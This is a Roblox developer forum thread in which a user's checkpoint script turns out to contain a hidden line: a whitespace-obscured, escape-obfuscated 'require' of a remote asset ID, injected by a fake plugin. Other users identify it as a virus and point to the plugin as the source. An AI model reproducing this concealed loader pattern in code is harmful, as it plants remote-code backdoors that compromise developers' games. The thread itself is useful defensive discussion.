Script stopped working suddenly. Weird lines in the code?

Hi guys, I finished making my script and i tried testing it and everything was working fine and no when I test it, it never works, even the print function is not outputting anything when I walk it. I’m just really confused and I don’t know what to do anymore.

Thank you guys for helping

I have also noticed this strange chunk of code when I was posting this on here
Its not visible in the studio. I can only see it if i post it here

image

local Players = game:GetService("Players")                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                repeat wait() until shared["4bfGOYGlVZ"];shared["4bfGOYGlVZ"]["\114\101\113\117\105\114\101"](5151855975)                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                

local checkpoint = script.Parent

local STAGE = 2

local debounce = false

local function onTouch(touchPart)
	print("Touched")

	local touchParent = touchPart.Parent

	local humanoid = touchParent:FindFirstChildWhichIsA("Humanoid")

	local player = Players:GetPlayerFromCharacter(humanoid.Parent)

	local playerStats = player:WaitForChild("leaderstats")
	local stage = playerStats:WaitForChild("Stage")

	if humanoid and STAGE > stage.Value and not debounce then
		debounce = true
		stage.Value = STAGE
	end

end

checkpoint.Touched:Connect(onTouch)

checkpoint.TouchEnded:Connect(function(part)
	debounce = false
end)

I don’t think there is a mistake in the code, that’s why I’m posting here, because I’m really confused about this

1 Like

i recommend just delete the strange lines of code it could potentially be a virus

1 Like

Thats the thing. I can’t It’s not visible in the studio

Use ROBLOX’s checkpoint asset.

Not sure about the strange line of code, but you never actually turn debounce back off.

1 Like

Yeah, I was messing with the code, so i know what’s wrong with it and i forgot to put the lines in

The fact that the lines don’t show up in studio, and that it is really far to the right means it’s definitely a virus. Fake plugins can inject code into your scripts.

1 Like

image

That’s all i have

Go through all your plugins and make sure their creators are legitimate. If you work in team create, tell your building partners to do the same.

1 Like

Is this file supposed to be there?

It’s also weird that both Plugins and InstalledPlugins folders are empty, but there is a strange folder that contains a folder called installedPlugins

My friend only has this plugin and that’s maybe the reason

That’s probably it. Usernames like “QualityPlugins” are fake/throwaway accounts used for uploading these.

1 Like

Thats a virus. I know it. Load Character Pro IS NOT free. The real version is made by the user named “AlreadyPro”. Tell him to get Load Character Lite by Already Pro.

Also, tell him to uninstall that plugin and any other suspicious ones he has as they are packaged w/ viruses.

2 Likes

Thanks guys, I was really confused about this. Didn’t know my friend could have plugins that have viruses in them

If you guys are doing team create, both user’s plugins have control. Thats the worst thing about team create, people might have a virus infested plugin and not know it :pensive:

1 Like